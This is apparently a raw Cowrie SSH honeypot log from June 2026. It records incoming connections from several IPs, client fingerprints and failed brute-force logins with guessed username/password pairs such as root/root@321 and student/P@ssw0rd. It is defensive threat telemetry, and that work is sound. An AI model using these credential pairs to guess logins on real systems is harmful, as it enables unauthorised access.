{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51692,"dst_ip":"10.17.0.5","dst_port":22,"session":"586251dda630","protocol":"ssh","message":"New connection: 91.92.40.36:51692 (10.17.0.5:22) [session: 586251dda630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:51.614922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:52.060864Z","src_ip":"91.92.40.36","session":"586251dda630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:52.065615Z","src_ip":"91.92.40.36","session":"586251dda630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"E4IuG88G","message":"login attempt [admin/E4IuG88G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:54.238342Z","src_ip":"91.92.40.36","session":"053b4444699a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"P@ssw0rd","message":"login attempt [student/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:54.491314Z","src_ip":"91.92.40.36","session":"586251dda630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:56.218514Z","src_ip":"91.92.40.36","session":"586251dda630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:56.984316Z","src_ip":"91.92.40.36","session":"053b4444699a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":58636,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2538d2faaf6","protocol":"ssh","message":"New connection: 45.78.204.254:58636 (10.17.0.5:22) [session: b2538d2faaf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:58.092533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:00.091466Z","src_ip":"45.78.204.254","session":"b2538d2faaf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:00.326608Z","src_ip":"45.78.204.254","session":"b2538d2faaf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46310,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef46b62869dc","protocol":"ssh","message":"New connection: 91.92.40.36:46310 (10.17.0.5:22) [session: ef46b62869dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:01.113121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:01.524695Z","src_ip":"91.92.40.36","session":"ef46b62869dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc12345","message":"login attempt [ubuntu/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:02.464893Z","src_ip":"45.78.204.254","session":"b2538d2faaf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:02.557998Z","src_ip":"91.92.40.36","session":"ef46b62869dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:03.713572Z","src_ip":"45.78.204.254","session":"b2538d2faaf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31044,"dst_ip":"10.17.0.5","dst_port":22,"session":"52ff77bd9ea3","protocol":"ssh","message":"New connection: 91.92.40.36:31044 (10.17.0.5:22) [session: 52ff77bd9ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:06.560972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:07.086433Z","src_ip":"91.92.40.36","session":"52ff77bd9ea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:07.104873Z","src_ip":"91.92.40.36","session":"52ff77bd9ea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"root","message":"login attempt [app/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:07.121620Z","src_ip":"91.92.40.36","session":"ef46b62869dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:09.898207Z","src_ip":"91.92.40.36","session":"ef46b62869dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"root","message":"login attempt [appuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:10.494158Z","src_ip":"91.92.40.36","session":"52ff77bd9ea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":45776,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b60756bc0c5","protocol":"ssh","message":"New connection: 103.84.236.242:45776 (159.203.135.109:22) [session: 8b60756bc0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:10.744663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:10.749336Z","src_ip":"103.84.236.242","session":"8b60756bc0c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:10.980493Z","src_ip":"103.84.236.242","session":"8b60756bc0c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:11.935768Z","src_ip":"103.84.236.242","session":"8b60756bc0c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:12.249521Z","src_ip":"91.92.40.36","session":"52ff77bd9ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:13.169906Z","src_ip":"103.84.236.242","session":"8b60756bc0c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":33926,"dst_ip":"10.17.0.5","dst_port":22,"session":"64d127afb1ce","protocol":"ssh","message":"New connection: 45.123.217.22:33926 (10.17.0.5:22) [session: 64d127afb1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:14.446299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:14.450805Z","src_ip":"45.123.217.22","session":"64d127afb1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:14.694551Z","src_ip":"45.123.217.22","session":"64d127afb1ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31090,"dst_ip":"10.17.0.5","dst_port":22,"session":"e07432ddee3b","protocol":"ssh","message":"New connection: 91.92.40.36:31090 (10.17.0.5:22) [session: e07432ddee3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:15.607471Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34834,"dst_ip":"10.17.0.5","dst_port":22,"session":"07b833d984ed","protocol":"ssh","message":"New connection: 27.71.230.31:34834 (10.17.0.5:22) [session: 07b833d984ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:15.906898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:15.912812Z","src_ip":"27.71.230.31","session":"07b833d984ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":8591,"dst_ip":"159.203.135.109","dst_port":22,"session":"54239ffeb36a","protocol":"ssh","message":"New connection: 178.20.210.208:8591 (159.203.135.109:22) [session: 54239ffeb36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:16.132587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:16.142167Z","src_ip":"178.20.210.208","session":"54239ffeb36a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:16.246044Z","src_ip":"178.20.210.208","session":"54239ffeb36a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:16.358624Z","src_ip":"91.92.40.36","session":"e07432ddee3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:16.365633Z","src_ip":"91.92.40.36","session":"e07432ddee3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@321","message":"login attempt [root/root@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:16.391670Z","src_ip":"45.123.217.22","session":"64d127afb1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer","message":"login attempt [root/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:16.650613Z","src_ip":"178.20.210.208","session":"54239ffeb36a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:17.639539Z","src_ip":"45.123.217.22","session":"64d127afb1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:17.761767Z","src_ip":"178.20.210.208","session":"54239ffeb36a","protocol":"ssh"}
